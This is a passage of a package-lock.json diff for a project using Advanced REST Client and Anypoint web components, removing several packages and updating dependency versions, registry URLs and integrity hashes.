"^0.2.17", + "@advanced-rest-client/arc-icons": "^3.3.3", + "@anypoint-web-components/anypoint-button": "^1.2.1", + "@pawel-up/html.md": "^0.1.0", + "dompurify": "^2.2.9", + "lit-element": "^2.5.1", + "lit-html": "^1.4.1", + "marked": "^2.1.2", + "prismjs": "^1.23.0" } }, "@advanced-rest-client/http-code-snippets": { @@ -371,45 +316,6 @@ "prismjs": "^1.23.0" } }, - "@advanced-rest-client/http-method-selector": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/http-method-selector/-/http-method-selector-3.1.0.tgz", - "integrity": "sha512-Q9CqK097NVF79TaTA+Qes5TKoghns8GOz3Anwq7c5BdJ+TErNcOIJNr5NIRYI73H65cgK7grDwO4XiLfVeli0g==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.1", - "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.20", - "@anypoint-web-components/anypoint-input": "^0.2.24", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@anypoint-web-components/anypoint-listbox": "^1.1.6", - "@anypoint-web-components/anypoint-radio-button": "^0.1.7", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, - "@advanced-rest-client/json-table": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/json-table/-/json-table-3.3.0.tgz", - "integrity": "sha512-hwR/gCBoqWTai7CCe4RhOuT6I3jlpUDFcp0gPemOHmrAuf3t7grVhjovpQuTG3u1XfNoQXnNkz88olHhw1J2ug==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.2", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.20", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@anypoint-web-components/anypoint-listbox": "^1.1.6", - "@open-wc/dedupe-mixin": "^1.3.0", - "lit-element": "^2.4.0" - } - }, - "@advanced-rest-client/markdown-styles": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/markdown-styles/-/markdown-styles-3.1.5.tgz", - "integrity": "sha512-KLKZbKTh4WoacFVbRbakxJmAD72MW9RY2jimY6bjnmQseVRCM83HF+LxzU+te6jT2lYkBE5Gpfok6/iEqGa/uQ==", - "requires": { - "lit-element": "^2.4.0" - } - }, "@advanced-rest-client/monaco-support": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@advanced-rest-client/monaco-support/-/monaco-support-1.0.1.tgz", @@ -418,61 +324,6 @@ "lit-element": "^2.4.0" } }, - "@advanced-rest-client/multipart-payload-editor": { - "version": "4.1.4", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/multipart-payload-editor/-/multipart-payload-editor-4.1.4.tgz", - "integrity": "sha512-kQegUGxF3ucB3F6V3nKtpujCKyg5ZE/Cg8tRoQ+OXlP+qzq7Fmw39rqaelLgU9wGM5O6LbpChcQhoY7irLdWeA==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.3", - "@advanced-rest-client/arc-marked": "^1.1.1", - "@advanced-rest-client/clipboard-copy": "^3.1.0", - "@advanced-rest-client/markdown-styles": "^3.1.5", - "@advanced-rest-client/multipart-payload-transformer": "^3.0.0", - "@advanced-rest-client/prism-highlight": "^4.1.2", - "@anypoint-web-components/anypoint-button": "^1.2.1", - "@anypoint-web-components/anypoint-input": "^0.2.25", - "@anypoint-web-components/anypoint-switch": "^0.1.9", - "@anypoint-web-components/validatable-mixin": "^1.1.3", - "@api-components/api-form-mixin": "^3.1.3", - "@api-components/api-property-form-item": "^3.0.16", - "@api-components/api-view-model-transformer": "^4.2.2", - "@polymer/iron-form": "^3.0.1", - "@polymer/paper-toast": "^3.0.1", - "@polymer/prism-element": "^3.0.1", - "lit-element": "^2.3.1", - "lit-html": "^1.2.1", - "prismjs": "^1.20.0" - } - }, - "@advanced-rest-client/multipart-payload-transformer": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/multipart-payload-transformer/-/multipart-payload-transformer-3.0.0.tgz", - "integrity": "sha512-P3uejpZL7SBSCvkruwlKKTtfmkPUuKK5CKO92Tbgq7Tscb1bmZQ9jYxeS2XfroDiG0It2zyJqFoXIwSSOLwpoA==", - "requires": { - "lit-element": "^2.2.1" - } - }, - "@advanced-rest-client/oauth-authorization": { - "version": "5.0.6", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/oauth-authorization/-/oauth-authorization-5.0.6.tgz", - "integrity": "sha512-JBp1QDtLVfJK9XsvIK60CTs7unZBa2i+MBHzMqGhqIsUJ1mw60GuuJ8MqzDZQGAhKC0X4HhkmosygbkiVRRVvw==", - "requires": { - "@advanced-rest-client/arc-events": "^0.2.17", - "@advanced-rest-client/arc-types": "^0.2.52", - "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@advanced-rest-client/headers-parser-mixin": "^3.2.0", - "@polymer/iron-meta": "^3.0.0", - "lit-element": "^2.5.1" - } - }, - "@advanced-rest-client/payload-parser-mixin": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/payload-parser-mixin/-/payload-parser-mixin-3.0.1.tgz", - "integrity": "sha512-pI7hbYplxaGqEscdO1SzcMc4uPp2meVJ2PNjUvj8+B6Dt8RFQ0FnKapLzDtlhgoVzpHK1DV6vE+5ozayGqG4Kg==", - "requires": { - "@polymer/polymer": "^3.4.1" - } - }, "@advanced-rest-client/pouchdb-mapreduce-no-ddocs": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/@advanced-rest-client/pouchdb-mapreduce-no-ddocs/-/pouchdb-mapreduce-no-ddocs-3.0.3.tgz", @@ -490,6 +341,11 @@ "spark-md5": "2.0.2" }, "dependencies": { + "inherits": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", + "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=" + }, "pouchdb-promise": { "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-promise/-/pouchdb-promise-6.4.3.tgz", @@ -497,6 +353,11 @@ "requires": { "lie": "3.1.1" } + }, + "spark-md5": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-2.0.2.tgz", + "integrity": "sha1-N7djhHdjrn56zvLKUjPQHmSaeLc=" } } }, @@ -514,31 +375,6 @@ "uniq": "^1.0.1" } }, - "@advanced-rest-client/prism-highlight": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/prism-highlight/-/prism-highlight-4.1.3.tgz", - "integrity": "sha512-o0lxDi6+Tt4e3tsJ11cCuVWPT+R4yj97ZCyME6oRuJopwQoOkY2t2V3SMfL2yQqtXvU9MD5t73wVPnBMEeCW2Q==", - "requires": { - "@advanced-rest-client/arc-events": "^0.2.17", - "lit-element": "^2.5.1", - "prismjs": "^1.23.0" - } - }, - "@advanced-rest-client/raw-payload-editor": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/raw-payload-editor/-/raw-payload-editor-3.0.6.tgz", - "integrity": "sha512-c6uZRDHfOKn90vY+FC3xsvEmmD5j91gtSTVWwDQOWp4HMF4GEP4huS6oTjXsLxdF15fifIBmnI1cF+BIrCf+bg==", - "requires": { - "@advanced-rest-client/arc-resizable-mixin": "^1.0.0", - "@advanced-rest-client/code-mirror": "^3.0.3", - "@advanced-rest-client/code-mirror-linter": "^3.0.0", - "@advanced-rest-client/events-target-mixin": "^3.0.0", - "@advanced-rest-client/payload-parser-mixin": "^3.0.0", - "@anypoint-web-components/anypoint-button": "^1.0.12", - "@polymer/paper-toast": "^3.0.0", - "lit-element": "^2.2.1" - } - }, "@advanced-rest-client/uuid-generator": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@advanced-rest-client/uuid-generator/-/uuid-generator-3.1.2.tgz", @@ -594,14 +430,14 @@ } }, "@anypoint-web-components/anypoint-dialog": { - "version": "0.1.9", - "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-dialog/-/anypoint-dialog-0.1.9.tgz", - "integrity": "sha512-wFouJSZ0K+n86SpZHBxEx8Lzo3I91LAoXH7JwiTJacsSdYq9VBHmo99yU9Hs45JFxPZFH7LlEdl2wR80RU9Rzg==", + "version": "0.1.10", + "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-dialog/-/anypoint-dialog-0.1.10.tgz", + "integrity": "sha512-AwAmndgYOxJNKeBlL0NunqAOyiEeJqfi/+CnZo/6WpAAAlMFqd0TQ110UCM78ZYx8AMSpE6CeYa+3ZTra8axDw==", "requires": { "@advanced-rest-client/arc-overlay-mixin": "^1.2.0", "@open-wc/dedupe-mixin": "^1.3.0", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" + "lit-element": "^2.5.1", + "lit-html": "^1.4.1" } }, "@anypoint-web-components/anypoint-dropdown": { @@ -775,262 +611,30 @@ } }, "@api-client/har": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/@api-client/har/-/har-0.2.0.tgz", - "integrity": "sha512-WKkhEClrlo5oNAzVPfRDaR002PiXZvdS80Qb/1rJfh9TBdTDogQxx6pi5Oyp5gxFzOJ8wIoJEsaNzAlPIJxGgg==", + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/@api-client/har/-/har-0.2.1.tgz", + "integrity": "sha512-91RPLOkF9+/GJ9GJdhHzthaPqGTRsk2fatpsHjfNPbsXujs41+gqulCsxSyATv29co5WYs99Mf2IikCXOoGjLg==", "requires": { "@advanced-rest-client/arc-cookies": "^0.2.0", - "@advanced-rest-client/arc-events": "^0.2.14", + "@advanced-rest-client/arc-events": "^0.2.21", "@advanced-rest-client/arc-headers": "^0.1.10", - "@advanced-rest-client/arc-models": "^5.1.0", - "@advanced-rest-client/body-editor": "^0.2.0", + "@advanced-rest-client/body-editor": "^0.2.5", "@anypoint-web-components/anypoint-collapse": "^0.1.2", "@anypoint-web-components/anypoint-item": "^1.1.2", "@anypoint-web-components/anypoint-listbox": "^1.1.7", - "@anypoint-web-components/anypoint-tabs": "^0.1.17", + "@anypoint-web-components/anypoint-tabs": "^0.1.19", "lit-element": "^2.5.1", "lit-html": "^1.4.1" } }, "@api-components/amf-helper-mixin": { - "version": "4.5.1", - "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.1.tgz", - "integrity": "sha512-75YrgigjI91LMZXKh9b+K1RT7m7rGv+LbMcBE0DH/T2zItoIv7FYX0NN9mIscBEaUKkqYumWIUnArztmACuEJA==", + "version": "4.5.15", + "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.15.tgz", + "integrity": "sha512-//mA1EKC8mnjjYkOqSnXI8uBMdXPSodj5MqlZ1ZcvZ+6uOW11ozVpdIay1olylqL6NlDItzWdzDxQH3yZXqtAg==", "requires": { "amf-json-ld-lib": "0.0.14" } }, - "@api-components/api-annotation-document": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/@api-components/api-annotation-document/-/api-annotation-document-4.2.0.tgz", - "integrity": "sha512-xNnwarmg4RqoEXXplbhf6IN225y/q30IpjG+PWkf6VbbUAUdiD1rGeXvctMxValbwVTQngbUR5tYtcmGKSUghA==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.1", - "@api-components/amf-helper-mixin": "^4.3.6", - "lit-element": "^2.2.1", - "lit-html": "^1.1.2" - } - }, - "@api-components/api-authorization": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/@api-components/api-authorization/-/api-authorization-0.6.3.tgz", - "integrity": "sha512-gDVsZS/+ctKBSR5m6o9fWBwQ6FY6eVbPdVpz7H96U4FK1pnmtyU7zOwXiJk+W+RSKXM0WpPWpVr5bXa/9y0Lcw==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.2.2", - "@advanced-rest-client/arc-marked": "^1.1.0", - "@advanced-rest-client/arc-types": "^0.2.47", - "@advanced-rest-client/authorization": "^0.1.0", - "@advanced-rest-client/events-target-mixin": "^3.1.1", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.14", - "@anypoint-web-components/anypoint-item": "^1.0.5", - "@anypoint-web-components/anypoint-listbox": "^1.0.4", - "@api-components/amf-helper-mixin": "^4.4.0", - "@api-components/api-forms": "^0.2.1", - "@open-wc/dedupe-mixin": "^1.3.0", - "lit-element": "^2.3.1", - "lit-html": "^1.2.1" - } - }, - "@api-components/api-body-document": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/@api-components/api-body-document/-/api-body-document-4.4.3.tgz", - "integrity": "sha512-j6sXpIlfyFVZNMofK1oCfSyUZYFOzxV5UufMYR89Fqccbqe06b5igjaTAshGKtapvxYJLeVEy6lXes+mQ9iXRg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.1", - "@advanced-rest-client/arc-marked": "^1.1.1", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-collapse": "^0.1.0", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-resource-example-document": "^4.2.0", - "@api-components/api-schema-document": "^4.3.0", - "@api-components/api-type-document": "^4.2.5", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, - "@api-components/api-body-editor": { - "version": "4.0.7", - "resolved": "https://registry.npmjs.org/@api-components/api-body-editor/-/api-body-editor-4.0.7.tgz", - "integrity": "sha512-/EIAI1PjOV/BOWSoNxQxW6D6sq9SyzHP2BtdFOcmJT2Av25DPBJInfn2LVIwryRhsESnzhYJYtDj/MQ6rVzcow==", - "requires": { - "@advanced-rest-client/clipboard-copy": "^3.1.0", - "@advanced-rest-client/content-type-selector": "^3.2.0", - "@advanced-rest-client/events-target-mixin": "^3.1.1", - "@advanced-rest-client/files-payload-editor": "^3.0.4", - "@advanced-rest-client/form-data-editor": "^3.0.7", - "@advanced-rest-client/multipart-payload-editor": "^4.1.1", - "@advanced-rest-client/raw-payload-editor": "^3.0.6", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.14", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@anypoint-web-components/anypoint-listbox": "^1.0.4", - "@api-components/amf-helper-mixin": "^4.3.9", - "@api-components/api-example-generator": "^4.4.8", - "@api-components/api-form-mixin": "^3.0.4", - "@api-components/api-view-model-transformer": "^4.0.3", - "@api-components/raml-aware": "^3.0.0", - "lit-element": "^2.5.1", - "lit-html": "^1.4.1" - } - }, - "@api-components/api-documentation-document": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/@api-components/api-documentation-document/-/api-documentation-document-4.1.0.tgz", - "integrity": "sha512-mN0V1npyDAzQPETFzLsE3ls/TrIKYJ719IwzZw39v/8ZMDdN9ejEdpB3gp2FnZcNyj8+lm+v0dQAJdb/9/dlLQ==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.1", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@api-components/amf-helper-mixin": "^4.3.6", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-endpoint-documentation": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/@api-components/api-endpoint-documentation/-/api-endpoint-documentation-6.0.2.tgz", - "integrity": "sha512-vOz7dwOq7qMhpD1H+ROHrI3to2KCHPJE+DEUadfHgiAZgwCozaxwdYB4BSaRR1arBWq2EpmtE59IErSFIvLvZg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.1", - "@advanced-rest-client/arc-marked": "^1.0.6", - "@advanced-rest-client/clipboard-copy": "^3.0.1", - "@advanced-rest-client/http-code-snippets": "^3.2.1", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-collapse": "^0.1.0", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-annotation-document": "^4.0.3", - "@api-components/api-example-generator": "^4.4.7", - "@api-components/api-method-documentation": "^5.1.10", - "@api-components/api-parameters-document": "^4.0.5", - "@api-components/api-request": "^0.1.8", - "@api-components/http-method-label": "^3.1.3", - "lit-element": "^2.3.1", - "lit-html": "^1.2.1" - }, - "dependencies": { - "@api-components/api-request": { - "version": "0.1.20", - "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.1.20.tgz", - "integrity": "sha512-KYozwxKFKIgBIWmLlNXOaixTPxTWj8Bf1T66L5lTtizP1DLNwc5ggFolfIzcwjc0yFMUCAt0rXPiFSFkLAbRDA==", - "requires": { - "@advanced-rest-client/arc-events": "^0.2.13", - "@advanced-rest-client/arc-headers": "^0.1.7", - "@advanced-rest-client/arc-icons": "^3.3.1", - "@advanced-rest-client/arc-response": "^0.3.3", - "@advanced-rest-client/arc-types": "^0.2.47", - "@advanced-rest-client/arc-url": "^0.2.1", - "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@advanced-rest-client/http-method-selector": "^3.0.5", - "@advanced-rest-client/oauth-authorization": "^5.0.5", - "@advanced-rest-client/uuid-generator": "^3.1.1", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@api-components/amf-helper-mixin": "^4.3.4", - "@api-components/api-authorization": "^0.6.1", - "@api-components/api-body-editor": "^4.0.5", - "@api-components/api-forms": "^0.2.1", - "@api-components/api-headers": "^0.1.0", - "@api-components/api-server-selector": "^0.6.3", - "@api-components/api-url": "^0.1.1", - "cryptojslib": "^3.1.2", - "jsrsasign": "^10.1.11", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - } - } - }, - "@api-components/api-example-generator": { - "version": "4.4.14", - "resolved": "https://registry.npmjs.org/@api-components/api-example-generator/-/api-example-generator-4.4.14.tgz", - "integrity": "sha512-sAzmTRZbJmw3lQSalyrdM9I0/ofX/7NmtBf7REPY0XzsAdgidX0BLxyg2U6tfa+HIs9gvg6eSFft38K9+udp1w==", - "requires": { - "@api-components/amf-helper-mixin": "^4.1.8", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-form-mixin": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/@api-components/api-form-mixin/-/api-form-mixin-3.1.4.tgz", - "integrity": "sha512-+GjkRtFbLNgi3xOpdJeqf+7gmtL/Tj8gWc+YV7UvYAKdRRS5/6uGoUlAwxwmOKK5jQH9Fu5nkseZlVBNPlFuPw==", - "requires": { - "@api-components/api-view-model-transformer": "^4.2.2", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-forms": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/@api-components/api-forms/-/api-forms-0.2.4.tgz", - "integrity": "sha512-Ey/vcNKWxKC0jeSK7aHLBRhS81auYa+Q7+e1VkPonmvt2Xu2EQFXtGIeIo0qNCMB640yMbh8L+sWvm6sbHNzKg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.3", - "@advanced-rest-client/arc-types": "^0.2.53", - "@anypoint-web-components/anypoint-button": "^1.2.2", - "@anypoint-web-components/anypoint-checkbox": "^1.2.1", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", - "@anypoint-web-components/anypoint-input": "^0.2.26", - "@anypoint-web-components/anypoint-item": "^1.1.2", - "@anypoint-web-components/anypoint-listbox": "^1.1.7", - "@anypoint-web-components/validatable-mixin": "^1.1.3", - "@api-components/amf-helper-mixin": "^4.4.1", - "@api-components/api-example-generator": "^4.4.14", - "@open-wc/dedupe-mixin": "^1.3.0", - "lit-element": "^2.5.1", - "lit-html": "^1.4.1" - } - }, - "@api-components/api-headers": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/@api-components/api-headers/-/api-headers-0.1.3.tgz", - "integrity": "sha512-lZWiZGKq38oTJk32sfQ0pmI+rdr0Ut3hrWRVrhGiys5HycdabLIoHE1ahJ9B2TaJ5T1yRuoth2V4S6vzqPDCtg==", - "requires": { - "@advanced-rest-client/arc-headers": "^0.1.7", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/anypoint-switch": "^0.1.4", - "@api-components/amf-helper-mixin": "^4.3.2", - "@api-components/api-forms": "^0.2.0", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, - "@api-components/api-headers-document": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/@api-components/api-headers-document/-/api-headers-document-4.2.3.tgz", - "integrity": "sha512-enWtyo0hN1fRFz/MKjY0B0CCcTRj/wKRR9KOwPh6p6SrxRHrlqstuQGU4o1MeBxmGzdASlALQ5jRf95MVts7ug==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.2", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-collapse": "^0.1.1", - "@api-components/api-type-document": "^4.2.5", - "lit-element": "^2.2.1" - } - }, - "@api-components/api-method-documentation": { - "version": "5.2.5", - "resolved": "https://registry.npmjs.org/@api-components/api-method-documentation/-/api-method-documentation-5.2.5.tgz", - "integrity": "sha512-H1F1/IenVD3hefb8DRSAcFIn/Ma9qIoz1dOT785xjeb7jwMOo6b09ikjB9m7aIomcBSREsehNrB3TlFjl6B6Zg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.2", - "@advanced-rest-client/arc-marked": "^1.1.1", - "@advanced-rest-client/clipboard-copy": "^3.1.0", - "@advanced-rest-client/http-code-snippets": "^3.2.2", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/anypoint-collapse": "^0.1.0", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-annotation-document": "^4.2.0", - "@api-components/api-body-document": "^4.3.1", - "@api-components/api-example-generator": "^4.4.8", - "@api-components/api-headers-document": "^4.2.0", - "@api-components/api-parameters-document": "^4.1.1", - "@api-components/api-responses-document": "^4.2.0", - "@api-components/api-security-documentation": "^4.1.0", - "@api-components/http-method-label": "^3.1.4", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, "@api-components/api-model-generator": { "version": "0.2.14", "resolved": "https://registry.npmjs.org/@api-components/api-model-generator/-/api-model-generator-0.2.14.tgz", @@ -1042,9 +646,9 @@ } }, "@api-components/api-navigation": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/@api-components/api-navigation/-/api-navigation-4.3.1.tgz", - "integrity": "sha512-YO2Crj7sSWPlijJ1vRVezIOLOb+j/4HfUKmjxnPIDIcLzibzMCA8tTvYRpD89ZpV2D9w6TnEEgWkrFzM8OAnMw==", + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@api-components/api-navigation/-/api-navigation-4.3.2.tgz", + "integrity": "sha512-t9F0FSpRG6st05ogSeEyEbOaliEg0GQL3tkEmgDOmgd52HHK5aaaaVLGwG2FVRwQYq9VzCr1aasWNDgquBwBlQ==", "dev": true, "requires": { "@advanced-rest-client/arc-icons": "^3.2.2", @@ -1057,218 +661,64 @@ "lit-html": "^1.2.1" } }, - "@api-components/api-parameters-document": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/@api-components/api-parameters-document/-/api-parameters-document-4.1.3.tgz", - "integrity": "sha512-zjQCO5MMMgQ5kIMe/uSFU+0OUeVsBd5dRYCNtVpe7hjTEMcPi1C9sKLKrb6sVGQxaEuHzZfuomFMXEmWbKoWFw==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.1", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-collapse": "^0.1.0", - "@api-components/api-type-document": "^4.2.5", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, - "@api-components/api-property-form-item": { - "version": "3.0.16", - "resolved": "https://registry.npmjs.org/@api-components/api-property-form-item/-/api-property-form-item-3.0.16.tgz", - "integrity": "sha512-g8YedLwhS5JWVX5/ilGQ6WrW6O8bJADXXcbcr5erEFzBxpPo2iENwlQuow03QSmYBsHGrfpJ4SvMh15xp8tw9w==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.2.2", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/anypoint-checkbox": "^1.1.3", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.20", - "@anypoint-web-components/anypoint-input": "^0.2.23", - "@anypoint-web-components/anypoint-item": "^1.0.8", - "@anypoint-web-components/anypoint-listbox": "^1.1.6", - "@anypoint-web-components/validatable-mixin": "^1.1.3", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, "@api-components/api-request": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.2.1.tgz", - "integrity": "sha512-iCYu0lXbOSslheD5GU6f6d4U9kvpFOIpa8dcHp6EvpG29mVMX6grUkrQ4i6Oc7i7/xiicSUk3YX3IkC8ieOCLg==", - "dev": true, + "version": "0.3.0-beta.9", + "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.3.0-beta.9.tgz", + "integrity": "sha512-onCYVjtcRGmVrHjmQE0Gb1k9KjiigM1RrTXjBgE9XS7+t7d8UAjYG+zf5lq0QrvckWxBgLHoHAOylicjXpC75Q==", "requires": { - "@advanced-rest-client/arc-events": "^0.2.13", + "@advanced-rest-client/arc-events": "^0.2.21", "@advanced-rest-client/arc-headers": "^0.1.7", - "@advanced-rest-client/arc-icons": "^3.3.1", - "@advanced-rest-client/arc-response": "^0.3.3", + "@advanced-rest-client/arc-icons": "^3.3.4", + "@advanced-rest-client/arc-response": "^0.3.7", "@advanced-rest-client/arc-types": "^0.2.47", "@advanced-rest-client/arc-url": "^0.2.1", + "@advanced-rest-client/authorization": "^0.2.3", + "@advanced-rest-client/body-editor": "^0.2.5", "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@advanced-rest-client/http-method-selector": "^3.0.5", - "@advanced-rest-client/oauth-authorization": "^5.0.5", + "@advanced-rest-client/highlight": "^1.1.1", "@advanced-rest-client/uuid-generator": "^3.1.1", "@anypoint-web-components/anypoint-button": "^1.1.1", + "@anypoint-web-components/anypoint-checkbox": "^1.2.2", + "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", + "@anypoint-web-components/anypoint-input": "^0.2.27", "@anypoint-web-components/anypoint-item": "^1.1.0", - "@api-components/amf-helper-mixin": "^4.3.4", - "@api-components/api-authorization": "^0.6.1", - "@api-components/api-body-editor": "^4.0.5", - "@api-components/api-forms": "^0.2.1", - "@api-components/api-headers": "^0.1.0", - "@api-components/api-server-selector": "^0.6.3", - "@api-components/api-url": "^0.1.1", - "cryptojslib": "^3.1.2", - "jsrsasign": "^10.1.11", + "@anypoint-web-components/anypoint-listbox": "^1.1.7", + "@anypoint-web-components/anypoint-radio-button": "^0.1.6", + "@anypoint-web-components/anypoint-switch": "^0.1.10", + "@api-components/amf-helper-mixin": "^4.5.15", + "@api-components/api-schema": "^0.1.4", + "@api-components/api-server-selector": "^0.7.1", + "@open-wc/dedupe-mixin": "^1.3.0", "lit-element": "^2.4.0", "lit-html": "^1.3.0" } }, - "@api-components/api-resource-example-document": { - "version": "4.3.3", - "resolved": "https://registry.npmjs.org/@api-components/api-resource-example-document/-/api-resource-example-document-4.3.3.tgz", - "integrity": "sha512-vynbhryGUHmfAPJpR5HsD5tmGbtfNgrgsT6Hxoik5CqUVyOk84GjVp5HyU4V19ZYsmThSOUi7agMjUQQ6LI6pw==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.3.2", - "@advanced-rest-client/arc-types": "^0.2.50", - "@advanced-rest-client/clipboard-copy": "^3.1.0", - "@advanced-rest-client/json-table": "^3.2.0", - "@advanced-rest-client/prism-highlight": "^4.0.4", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-example-generator": "^4.4.13", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-responses-document": { - "version": "4.2.5", - "resolved": "https://registry.npmjs.org/@api-components/api-responses-document/-/api-responses-document-4.2.5.tgz", - "integrity": "sha512-9BB++bZXbm5ywKnIHnS7inez159BH+uuRnSWdyHtShqnoQAUeRMnW9xxCyCe1okt8ZupgCJXiMY+QqArh3et5g==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.0", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@anypoint-web-components/anypoint-tabs": "^0.1.13", - "@api-components/amf-helper-mixin": "^4.5.1", - "@api-components/api-annotation-document": "^4.1.0", - "@api-components/api-body-document": "^4.2.1", - "@api-components/api-headers-document": "^4.2.0", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-schema-document": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/@api-components/api-schema-document/-/api-schema-document-4.3.0.tgz", - "integrity": "sha512-0bmLl0jevJ2Is/cY+Iq5UYeUkt6/sCrz4QjlR6vlfdHPGgBUgW31aeUgSYXt1DwqqmksJa8LWAuCxksrNzSNYw==", + "@api-components/api-schema": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.4.tgz", + "integrity": "sha512-Z9yU9VRBNNxYqYmJdHTlcdo/I/k9Qgh3wIsA2t2ehD8+XW+8sD6fT11IM2YYb0V/vBznNT6OMMQBIgFqvjW9tw==", "requires": { - "@advanced-rest-client/arc-types": "^0.2.50", - "@advanced-rest-client/prism-highlight": "^4.1.0", - "@anypoint-web-components/anypoint-tabs": "^0.1.13", - "@api-components/amf-helper-mixin": "^4.3.6", - "@api-components/api-example-generator": "^4.4.8", - "lit-element": "^2.4.0" - } - }, - 